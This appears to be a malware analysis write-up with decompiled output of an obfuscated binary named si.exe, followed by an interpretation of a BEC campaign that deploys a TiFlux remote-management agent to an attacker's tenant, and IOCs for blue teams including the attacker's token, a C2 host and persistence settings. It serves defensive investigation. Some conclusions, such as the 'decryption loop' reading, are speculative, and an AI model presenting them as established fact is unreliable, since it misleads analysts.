int32_t __convention("regparm") sub_4063a6(int32_t arg1, int32_t arg2, void* arg3, int32_t arg4 @ ebp, void* arg5 @ esi){
    int32_t eflags;
    uint16_t* __return_addr_1 = __outsb(arg2, *(arg5 + 1), arg5 + 1, eflags);
    int32_t edx = arg2 - 1;
    char* edi_1 = __return_addr + 1;
    *0x17e84e27 = arg1;
    char* eax = arg1 | 0x5d35;

    /* === junk: 80x identical *eax += eax — self-modifying decryption padding === */
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;
    *eax += eax; *eax += eax; *eax += eax; *eax += eax; *eax += eax;

    char temp2 = eax[0xf79ef22e];
    eax[0xf79ef22e] += eax;
    bool z = temp2 == -(eax);
    bool s = temp2 + eax < 0;
    bool o = temp2 + eax;
    void* esp_2;
    while (true) {
        if (!z && s == o) {
            *eax += eax;
            *eax += eax;
            void arg_6;
            esp_2 = &arg_6;
            goto label_40647f;
        }
        arg3 -= 1;
        if (!z && !arg3) break;
        *eax += eax; *eax += eax; *eax += eax;
        char temp5_1 = *__return_addr_1;
        *__return_addr_1 -= 0xf2;
        o = temp5_1 + 0xe;
        z = TEST_BITB(*(&eax + 1), 6);
        s = TEST_BITB(*(&eax + 1), 7);
        int16_t arg_4;
        int32_t temp1_1 = COMBINE(edx, eax) % &arg_4;
        eax = COMBINE(edx, eax) / &arg_4;
        edx = temp1_1;
    }
    eax = __in_oeax_dx(edx, eflags);
    __return_addr = __return_addr_1;
    int32_t esi = __outsb(edx, *__return_addr_1, __return_addr_1, eflags);
    *eax += eax;
    *eax += eax;
    arg3 -= 1;
    arg4 += 1;
    __return_addr_1 = esi - 1;
    int32_t* esp = (&__return_addr + 1);
    *(edi_1 - 1);
    edx += 1;
    char* gsbase;
    bool s_1;
    do {
        *(esp - 4)    = eax;
        *(esp - 8)    = arg3;
        *(esp - 0xc)  = edx;
        char* entry_ebx;
        *(esp - 0x10) = entry_ebx;
        *(esp - 0x14) = esp - 0x10;
        *(esp - 0x18) = arg4;
        *(esp - 0x1c) = __return_addr_1;
        *(esp - 0x20) = edi_1;
        esp_2 = esp - 0x20;
        *entry_ebx = *entry_ebx;
        *eax += eax; *eax += eax; *eax += eax; *eax += eax;
        *edi_1 += edx;
        label_40647f:
        *edx += eax;
        *eax += eax;
        *(arg3 + 1 + eax) += entry_ebx;
        *eax += eax;
        TEB* fsbase;
        *(fsbase + eax) += eax;
        __return_addr_1 += 1;
        char temp3_1 = *eax;
        *eax += eax;
        bool c_1 = temp3_1 + eax < temp3_1;
        *(esp_2 - 4)   = edx;
        *(esp_2 - 8)   = entry_ebx;
        *(esp_2 - 0xb) = entry_ebx;
        __out_dx_al(edx, eax, eflags);
        arg3 = *(esp_2 - 0xb);
        esp = esp_2 - 7;
        int32_t temp4_1 = arg4;
        arg4 -= 1;
        s_1 = temp4_1 - 1 < 0;
        bool o_1 = temp4_1 - 1;
        if (s_1 != o_1) {
            uint8_t* edi_4;
            uint8_t temp0_3;
            temp0_3 = __insb(edi_1, edx, eflags);
            *edi_4 = temp0_3;
            *esp;
            uint16_t* esi_3 = esp[1];
            int32_t  ebx_1 = esp[4];
            int16_t  edx_2 = esp[5];
            int32_t  ecx_2 = esp[6];
            int32_t* eax_4 = esp[7];
            if (!c_1)        /* jump -> 0x406554 */
            int32_t* esp_12 = esp[8];
            if (!c_1)        /* jump -> 0x40655b */
            if (o_1)         /* jump -> 0x406559 */
            __bound_gprv_mema32(eax_4, *eax_4);

            /* === junk: ~88x identical *eax_4 += eax_4 — same self-modifying pattern === */
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;

            *(&eax_4 + 1) += edx_2;
            *(gsbase + eax_4) += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            __out_dx_al(edx_2, eax_4, eflags);
            *(gsbase + eax_4) += eax_4;
            *eax_4 += *(&eax_4 + 1);
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4; *eax_4 += eax_4;
            char temp8 = *eax_4;
            *eax_4 += eax_4;
            if (temp8 != -(eax_4) && ecx_2 != 1)        /* jump -> 0x40663b */
            *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4; *eax_4 += eax_4;
            *eax_4 += eax_4;
            char temp9 = *eax_4;
            *eax_4 += eax_4;
            *esp_12;
            __outsd(edx_2, *esi_3, esi_3, eflags);
            if (temp9 + eax_4 < temp9)        /* jump -> 0x40662c */
            if (ebx_1 + 1 < 0)                /* jump -> 0x40664e */
            int32_t* esi_5 = esp_12[2];
            int16_t  ebx_3 = esp_12[5];
            int16_t  edx_3 = esp_12[6];
            esp_12[7];
            char* eax_5 = esp_12[8];
            *esi_5;
            *esi_5;
            bool c_5 = /* unimplemented  { imul ebp, dword [esi], 0x6f63736d } */;
            if (c_5)        /* jump -> 0x406659 */
            uint8_t* edi_8;
            uint8_t temp0_4;
            temp0_4 = __insb(esp_12[1], edx_3, eflags);
            *edi_8 = temp0_4;
            uint8_t* edi_9;
            uint8_t temp0_5;
            temp0_5 = __insb(edi_8, edx_3, eflags);
            *edi_9 = temp0_5;
            *eax_5 += eax_5;
            *eax_5 += eax_5;
            *(&ebx_3 + 1) *= 2;
            /* undefined */
        }
    } while (s_1);

    char* eax_2;
    eax_2 = (eax - 1) ^ 0x78;
    eax_2 = eax_2 - 1;
    *eax_2 += eax_2;
    char temp7 = *0x773df223;
    *0x773df223 += eax_2;
    bool c_2 = temp7 + eax_2 < temp7;
    bool z_1 = temp7 == -(eax_2);
    int32_t esp_7 = *esp;
    *(esp_7 - 4) = arg4;
    if (!c_2)         /* jump -> 0x406513 */
    if (c_2)          /* jump -> 0x406523 */
    int32_t* esp_9 = *(esp_7 - 4);
    if (z_1 || c_2)   /* jump -> 0x406511 */
    *(arg4 * 3 + 0x61);
    *(arg4 * 3 + 0x61);
    bool c_3 = /* unimplemented  { imul esi, dword [ebp+ebp*2+0x61], 0x6567616e } */;
    if (c_3)          /* jump -> 0x40651e */
    *esp_9;
    int32_t esi_2 = esp_9[1];
    esp_9[2];
    esp_9[4];
    esp_9[6];
    esp_9[7];
    esi_2 = __outsb(esp_9[5], gsbase[esi_2], esi_2, eflags);
    if (z_1)                  /* jump -> 0x406524 */
    if (!z_1 && !c_3)         /* jump -> 0x406530 */
    /* jump -> "ndows\TiFlux Install Success\obj\Release\si.pdb" */
}

int32_t _CorExeMain(){
    /* tailcall */
    return _CorExeMain();
}

What this output tells us

The code is obfuscated/packed — not a clean .NET binary

Despite file identifying it as a .NET assembly, the Binary Ninja output is x86 native disassembly, not clean C# IL. This means one of two things:

  1. The binary is a native stub/loader that wraps the actual .NET payload, or — more likely:
  2. The binary is obfuscated/packed — the .NET header is present as a wrapper but the actual execution happens through a native unpacking stub first, which is a common anti-analysis technique.

The telltale signs are:

  • Nonsensical sequences like endless *eax += eax repeated 50+ times — this is a self-modifying decryption loop, not real application logic.
  • __out_dx_oeax, __in_al_immb, __outsb, __insb — these are privileged x86 I/O port instructions that have no business being in a normal GUI application, suggesting obfuscation.
  • __into, __int1, __arpl — obscure or protected-mode instructions used as anti-disassembly tricks.
  • The infinite *eax += eax loops in sub_4063a6 are classic junk instruction padding to confuse decompilers.
The one smoking gun string

Buried at the very end of the last function:

"ndows\TiFlux Install Success\obj\Release\si.pdb"

This is a PDB path fragment — the full path was almost certainly:

C:\Users\[username]\...\Windows\TiFlux Install Success\obj\Release\si.pdb

This proves:

  • si.exe was custom compiled specifically for this campaign — a legitimate TiFlux binary would have a TiFlux corporate build path, not "TiFlux Install Success".
  • The project was named "TiFlux Install Success" — strongly suggesting its entire purpose is to display a success/completion dialog to the victim after installation, making the silent RMM deployment look like a normal legitimate install completing.
  • It was compiled in Release mode (not Debug), meaning the attacker intentionally built a clean production version to evade detection.
Bottom line on si.exe

It's almost certainly a lure/distraction binary. It shows a fake "installation successful" UI to the victim while TiAgent silently registers to the attacker's console in the background. The obfuscation is there to prevent exactly what I've done (understanding it).

The 0/71 VirusTotal score is because it contains no traditionally malicious code; it's just a custom-compiled UI wrapper for a social engineering step.


Investigation Complete

FindingEvidence
Target platform64-bit Windows desktop
Attack typeBEC-delivered RMM abuse
Primary RATTiFlux agent, hardcoded to attacker's tenant
Attacker's tenantorg_id: 20651, token: dddec717-97bb-4066-8a89-575d89ac6252
Backup accessUltraVNC + RustDesk + Splashtop
PersistenceRun key + service auto-restart every 30s
Lure binarysi.exe — custom compiled "TiFlux Install Success" splash screen
CertificateSigned with legitimate Comodo/TiFlux cert to bypass AV

Indicators of Compromise (IOCs) — for blue teams

If you're hunting this campaign, pivot on:

  • Filename: GuestCard_Ti.msi
  • Manufacturer: TiFLUX
  • ProductName: Ti Service And Agent, ProductVersion: 2.0.0.82
  • Hardcoded tenant: org_id=20651, client_id=2249717, equipment_group_id=2152457
  • Hardcoded auth token: dddec717-97bb-4066-8a89-575d89ac6252
  • C2 host: agent.tiflux.com:443/ssl=true
  • Run key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\TiAgent
  • Service: TiService configured with sc failure ... reset=86400 actions=restart/30000
  • Bundled tools to alert on: RustDesk.exe, TiPeerToPeer.exe, Splashtop Streamer, winvnc.exe, mv2.sys (UltraVNC mirror driver)
  • PDB string: Windows\TiFlux Install Success\obj\Release\si.pdb
  • Lure pattern: Evite-themed BEC with vague "a special moment" invitation copy and a CLICK HERE FOR DESKTOP PREVIEW ONLY CTA.

If you see any of those tokens or hostnames in your environment and you don't actually use TiFlux, you have a problem. Even if you do use TiFlux, the org_id and token above are the attacker's — your real tenant ID will be different. Compare carefully.